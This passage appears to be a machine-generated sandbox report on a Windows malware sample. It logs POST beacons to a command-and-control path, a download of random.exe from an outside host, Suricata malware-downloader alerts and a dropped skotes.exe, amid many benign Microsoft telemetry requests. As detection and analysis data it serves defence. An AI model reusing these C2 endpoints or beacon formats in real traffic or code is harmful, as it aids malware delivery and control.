4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="token"6ea914bf5ea40021229337a029a4121d743fefe768cda4f25bd48854099edb84bef3dfc7------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JKEGHDGHCGHDHJKFBFBK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49723 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49823 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49942 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50048 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.67

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 31_2_00C5BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

31_2_00C5BE30

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012707Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ac3bff30e90b42f79b63fc8445a2edc5&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVZpB3isqrCjtyh8CDNx8JJU0719TV0BFBTr3kqLLBv38RjxSbq4+V/5DL9LRzSMfvfSh0JkyOgcUQR5+a8h3UIPJx8p3qQGyoM0G2yEFJsSJ7ypEIQMoIwr6FkUw8v2TahTXLtb264hplaEoCUEzRXiMi5KyHn1vXbq06cjQaFcfhqAWBkYDAqwJ5Q7jrlrxK0WDwMmiXAqBWkDHRu+5OhUrBUvMJtal9xcOE4l+uHXukmRXtpQJwwBgtyV+sAc/6Djm7MsFdUyiPYrgHuY67VnREcoymeJJqJpsW0v01VnI5aAGigXvK3neigmKo0PWq0MyBQ16HI8csMN9ftYuyMQZgAAEAjZAPAaJI0J6xcM0swevkiwAUqsR3DTlTAb6QsRlIf5AXPi8Yc4mqErIgtSN7YjiVmN9BMXPgFvaKbpuOvHn6GlSke5lim0QbEp1KJoe99Ai0rXrCQS/G/Ee09kqZWqnaYA0vuJsRDgLKXlVAJ6txlfCAS7KhYoqshhw7J/6vJ/J5U1/geVz4ZfyLBhBcu/UynmYijS+KWF/hndZPJvi2N5tb0JaYHtu6j98P6Cl2Ir2qUpC4D4iJhuN1WVh8eQF2b9A9ewDFVtw7xM7o8t/bIT3lo7o34f2QtGyDH/xFddpO8rFwrT9JdI9VMftkjMN1o2cLidM/bUNL2hJBxSIGOqBSGA0V06OebmIpH7o/fGcAUROsz5ft0bKMPp1OIsMPY/WHWCYDqZ0z9Gmhau2TSqM87KC4Qrremso7yCeD7tr/PE2zot/g/xFk8yhTfsVO6ePHCJwQY6ZX4hN34UHPgWaH01GE0igeK/jQlGyM+cpNbLwdbfbFunBbiQgyydu3WFbZZ9q3FlmxOD2HRV24ylumQjsMN8hbBfKNurMfyyYungasYr7Jd/r0JbzQ1aQkCvuz8iJPOFI3ADAVq5QVDAhtgB&p=Cache-Control: no-cacheMS-CV: xvordVrvSkaV7eTE.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012707Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=e218c7845e7e44e5817b3335b6d8abdc&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAEG0IZGTzKea5C++Qf46Ul2ywAY2kfnq+NLsmQ4cqC/klLMKaFVj9uoaRWpVQvS1ilsFVrTt4RSTcBsPcYbqUWVhKTQAjzZyDVoHIFRVKQyhwbuZbInTU9OaVndrjAtqVZqonkmDs/CiSC7K3IbgqI8vCRP0R0mNdidE4DlgvsUScutN693S32SLtXnkxAQQr3pOTzbon3Kc/yGBI5E4wdUZeA3FpKcUL11EKnd10IwAmUbeVvi4G+JFPVtHj7+90KXc8v01bBoBs55F5KEz4wlRNeOAxTHYAxJ7dBiziQoIQExqhittYDp/hNvwNhroYE9vP2oDmnLq8Ekhi+2znHZbmLDdrEWdHW3smsOE4/VoAEYMGfu4jt8BMyUnhus/QgCmX+2SXa+YPUQY534ZPQu4g55q+13yr6uk8WvJOieFQJmI6IXsrmop9nqAlEYrWua0mjRjgR9A0iK9W18eFCO9Bc63WSLg9qiWBc5j7NkW5H1ceLxGtCrhwAZ7Ag5yYYj/KBS0M3v7OErGrSCz8nHUGWSsdesLvOjzv7osC0tWLOTP1qDUeX1IK/pW+JjiTZeiPi9cC8Pc/r4B/AFz2bu7oZNgB&p=Cache-Control: no-cacheMS-CV: xvordVrvSkaV7eTE.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012707Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3a29e97ad5194046a8c09a1d6ecb1e40&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p=Cache-Control: no-cacheMS-CV: xvordVrvSkaV7eTE.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012711Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=cf2d07e2a2914c4b96c6865a79a591a2&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p=Cache-Control: no-cacheMS-CV: xvordVrvSkaV7eTE.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012714Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1fc2520cdeac41bfb89c3d01b95500ee&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=530840334,530725852,530455685&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p=Cache-Control: no-cacheMS-CV: xvordVrvSkaV7eTE.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T012714Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c12417e579054221b95d79c2c1ba9d67&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604509&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604509&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=99999999&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: 